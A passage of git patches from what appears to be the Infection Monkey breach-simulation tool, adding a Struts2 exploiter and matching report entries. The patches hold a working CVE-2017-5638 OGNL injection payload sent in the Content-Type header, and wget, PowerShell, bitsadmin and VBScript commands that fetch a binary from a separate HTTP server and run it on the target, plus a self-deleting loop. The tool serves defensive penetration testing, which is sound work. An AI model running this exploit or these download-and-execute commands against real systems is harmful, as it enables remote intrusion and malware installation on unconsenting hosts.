"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + payload += "(#ros.flush())}" + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request, timeout=timeout).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead, e: + page = e.partial + except Exception: + LOG.info("Request timed out, because monkey is still running on remote host") + + return page diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..c3534c95c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -80,6 +80,13 @@ SCHEMA = { ], "title": "ElasticGroovy Exploiter" }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + } ] }, "finger_classes": { @@ -609,7 +616,8 @@ SCHEMA = { "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", - "ElasticGroovyExploiter" + "ElasticGroovyExploiter", + "Struts2Exploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN From 2d27972e7ed4082bfbad696f0d02d97ca0fe79a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 16:58:20 +0300 Subject: [PATCH 052/137] Struts exploitation working, and tested with win-64 and ubuntu --- infection_monkey/exploit/struts2.py | 154 +++++++++++------- monkey_island/cc/resources/monkey_download.py | 15 ++ 2 files changed, 112 insertions(+), 57 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f3a819169..be8ba8f0f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y" # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Command used to check whether host is vulnerable -CHECK_COMMAND = "echo %s" % ID_STRING # Commands used to check for architecture -CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "%s && lscpu" % ID_STRING +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists EXISTS = "ls %s" @@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist def exploit_host(self): - # TODO add skip if file exists # Initializing vars for convenience ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux @@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter): # TODO remove struts from url current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) # Get full URL - current_host = self.get_redirected(current_host) + url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: - host_arch = Struts2Exploiter.try_exploit_linux(current_host) + return self.exploit_linux(url, dropper_path_linux) else: - host_arch = Struts2Exploiter.try_exploit_windows(current_host) - - if host_arch: - self.host.os['machine'] = host_arch - - if current_host and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - # Form command according to os - if 'linux' in self.host.os['type']: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): - return True - command = WGET_HTTP % {'monkey_path': dropper_path_linux, - 'http_path': http_path, 'parameters': cmdline} - else: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) - or self.check_remote_file(current_host, dropper_path_win_64)): - return True - command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(current_host, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): command = EXISTS % path @@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and (self.check_remote_file(url, dropper_path)): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command, RESPONSE_TIMEOUT) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, dropper_path): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + # TODO Add timeout + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + @staticmethod - def try_exploit_windows(url): + def check_exploit_windows(url): resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) if resp and ID_STRING in resp: if "64-bit" in resp: @@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def try_exploit_linux(url): + def check_exploit_linux(url): resp = Struts2Exploiter.exploit(url, CHECK_LINUX) if resp and ID_STRING in resp: - if "x86_64" in resp: - return "64" - else: - return "32" + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch else: return False @@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is executed - it's better not to wait it's whole output + :param timeout: How long to wait for response in seconds(if monkey is being executed + it's better not to wait it's whole output). By default we wait. :return: response """ page = "" diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index 25e67fdb2..acf92b558 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [ 'machine': 'i686', 'filename': 'monkey-linux-32', }, + { + 'type': 'linux', + 'machine': 'i386', + 'filename': 'monkey-linux-32', + }, { 'type': 'linux', 'filename': 'monkey-linux-64', @@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [ 'machine': 'amd64', 'filename': 'monkey-windows-64.exe', }, + { + 'type': 'windows', + 'machine': '64', + 'filename': 'monkey-windows-64.exe', + }, + { + 'type': 'windows', + 'machine': '32', + 'filename': 'monkey-windows-32.exe', + }, { 'type': 'windows', 'filename': 'monkey-windows-32.exe', From ef6c512ea9ef8210cd7df7294fbb69f0790ab4c6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 22:35:18 +0300 Subject: [PATCH 053/137] Finished up exploitation and added reporting --- infection_monkey/exploit/struts2.py | 7 ++--- monkey_island/cc/services/report.py | 11 +++++++ .../cc/ui/src/components/pages/ReportPage.js | 29 +++++++++++++++++-- 3 files changed, 41 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index be8ba8f0f..5bd26fbb7 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -59,8 +59,7 @@ class Struts2Exploiter(HostExploiter): if port == 443: current_host = "https://%s:%d" % (self.host.ip_addr, port) else: - # TODO remove struts from url - current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey @@ -154,8 +153,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - # TODO Add timeout - self.exploit(url, command) + + self.exploit(url, command, RESPONSE_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 13b52422c..369b29c25 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,6 +30,7 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', + 'Struts2Exploiter': 'Struts2 Exploiter' } class ISSUES_DICT(Enum): @@ -41,6 +42,7 @@ class ReportService: CONFICKER = 5 AZURE = 6 STOLEN_SSH_KEYS = 7 + STRUTS2 = 8 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -290,6 +292,12 @@ class ReportService: processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] return processed_exploit + @staticmethod + def process_struts2_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'struts2' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -302,6 +310,7 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, + 'Struts2Exploiter': ReportService.process_struts2_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -419,6 +428,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True + elif issue['type'] == 'struts2': + issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index f018254b0..2a02a092d 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -23,7 +23,8 @@ class ReportPageComponent extends AuthComponent { SHELLSHOCK: 4, CONFICKER: 5, AZURE: 6, - STOLEN_SSH_KEYS: 7 + STOLEN_SSH_KEYS: 7, + STRUTS2: 8 }; Warning = @@ -321,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
  • Azure machines expose plaintext passwords. (More info)
  • : null} - + {this.state.report.overview.issues[this.Issue.STRUTS2] ? +
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • : null } : @@ -671,6 +675,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateStruts2Issue(issue) { + return ( +
  • + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -718,6 +740,9 @@ class ReportPageComponent extends AuthComponent { case 'azure_password': data = this.generateAzureIssue(issue); break; + case 'struts2': + data = this.generateStruts2Issue(issue); + break; } return data; }; From 208411d6fc2d83feeb90e5e3a1f55b5ec5dfbb5f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 21 Jun 2018 00:10:56 +0300 Subject: [PATCH 054/137] Cosmetic changes --- infection_monkey/exploit/struts2.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 5bd26fbb7..6ed5a51ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -30,9 +30,8 @@ CHECK_LINUX = "echo %s && lscpu" % ID_STRING EXISTS = "ls %s" WEB_PORTS = [80, 443, 8080] -# Timeouts if the payload is wrong DOWNLOAD_TIMEOUT = 30 -# This is set so that we don't have to wait for monkeys' output (in seconds) +# In seconds. This is set so that we don't have to wait for monkeys' output. RESPONSE_TIMEOUT = 1 @@ -62,8 +61,6 @@ class Struts2Exploiter(HostExploiter): current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) - # Get os architecture so that we don't have to update monkey - LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: @@ -87,7 +84,7 @@ class Struts2Exploiter(HostExploiter): if url and host_arch: LOG.info("Host is exploitable with struts2 RCE vulnerability") # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and (self.check_remote_file(url, dropper_path)): + if self.skip_exist and self.check_remote_file(url, dropper_path): return True src_path = get_target_monkey(self.host) @@ -194,6 +191,7 @@ class Struts2Exploiter(HostExploiter): try: return urllib2.urlopen(request).geturl() except urllib2.URLError: + LOG.error("Can't reach struts2 server") return False @staticmethod From 7ce790affa5cceaf2c2b1a7274e7163820297d82 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 22 Jun 2018 14:55:52 +0300 Subject: [PATCH 055/137] Some notes fixed --- infection_monkey/exploit/struts2.py | 100 +++++++++++++++------------- infection_monkey/model/__init__.py | 10 +++ 2 files changed, 63 insertions(+), 47 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 6ed5a51ef..bec717028 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -8,31 +8,19 @@ import httplib import unicodedata import re -from network.tools import check_tcp_ports import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG __author__ = "VakarisZ" LOG = logging.getLogger(__name__) -ID_STRING = "M0NK3YSTRUTS2" -MONKEY_ARG = "m0nk3y" -# Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Commands used to check for architecture -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING -# Commands used to check if monkeys already exists -EXISTS = "ls %s" +DOWNLOAD_TIMEOUT = 300 -WEB_PORTS = [80, 443, 8080] -DOWNLOAD_TIMEOUT = 30 -# In seconds. This is set so that we don't have to wait for monkeys' output. -RESPONSE_TIMEOUT = 1 +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) class Struts2Exploiter(HostExploiter): @@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter): super(Struts2Exploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - # Initializing vars for convenience - ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_64 = self._config.dropper_target_path_win_64 + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + if not ports: LOG.info("All web ports are closed on %r, skipping", self.host) return False for port in ports: - if port == 443: - current_host = "https://%s:%d" % (self.host.ip_addr, port) + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%d" % (self.host.ip_addr, port) + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter): command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + self.exploit(url, command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter): # If monkey already exists and option not to exploit in that case is selected if self.skip_exist: for dropper_path in dropper_paths: - if self.check_remote_file(url, dropper_path): + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): return True src_path = get_target_monkey(self.host) @@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - self.exploit(url, command, RESPONSE_TIMEOUT) + backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def exploit(url, cmd, timeout=None): + def exploit(url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is being executed - it's better not to wait it's whole output). By default we wait. :return: response """ page = "" - payload = "%{(#_='multipart/form-data')." - payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload += "(#_memberAccess?" - payload += "(#_memberAccess=#dm):" - payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload += "(#ognlUtil.getExcludedPackageNames().clear())." - payload += "(#ognlUtil.getExcludedClasses().clear())." - payload += "(#context.setMemberAccess(#dm))))." - payload += "(#cmd='%s')." % cmd - payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload += "(#p=new java.lang.ProcessBuilder(#cmds))." - payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." - payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload += "(#ros.flush())}" + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd # Turns payload ascii just for consistency if isinstance(payload, unicode): payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') @@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter): try: request = urllib2.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request, timeout=timeout).read() + page = urllib2.urlopen(request).read() except AttributeError: # If url does not exist return False - except httplib.IncompleteRead, e: + except httplib.IncompleteRead as e: page = e.partial - except Exception: - LOG.info("Request timed out, because monkey is still running on remote host") return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 1296570e1..24fbf900e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -4,6 +4,7 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" +ID_STRING = "M0NK3Y3XPL0ITABLE" DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) @@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' + +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +# Commands used to check for architecture and if machine is exploitable +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" \ No newline at end of file From 671452243d9b36a663c6b50cfe39d6c9600dfcc6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 25 Jun 2018 18:26:34 +0300 Subject: [PATCH 056/137] Fixed some bugs and more notes --- infection_monkey/exploit/struts2.py | 17 +++++++---------- infection_monkey/model/__init__.py | 3 +++ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index bec717028..409a7f1ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG +from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP_BITS_DROPPER __author__ = "VakarisZ" @@ -20,9 +20,6 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, ) - - class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -47,7 +44,8 @@ class Struts2Exploiter(HostExploiter): if port[1]: current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # TODO remove struts + current_host = "http://%s:%s/struts" % (self.host.ip_addr, port[0]) # Get full URL url = self.get_redirected(current_host) LOG.info("Trying to exploit with struts2") @@ -87,7 +85,7 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) command = WGET_HTTP % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} @@ -135,12 +133,13 @@ class Struts2Exploiter(HostExploiter): return False LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + backup_command = RDP_CMDLINE_HTTP_BITS_DROPPER % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} resp = self.exploit(url, command) @@ -196,8 +195,6 @@ class Struts2Exploiter(HostExploiter): :param cmd: Code to try and execute on host :return: response """ - page = "" - payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 24fbf900e..4f0b22b27 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -19,8 +19,11 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) 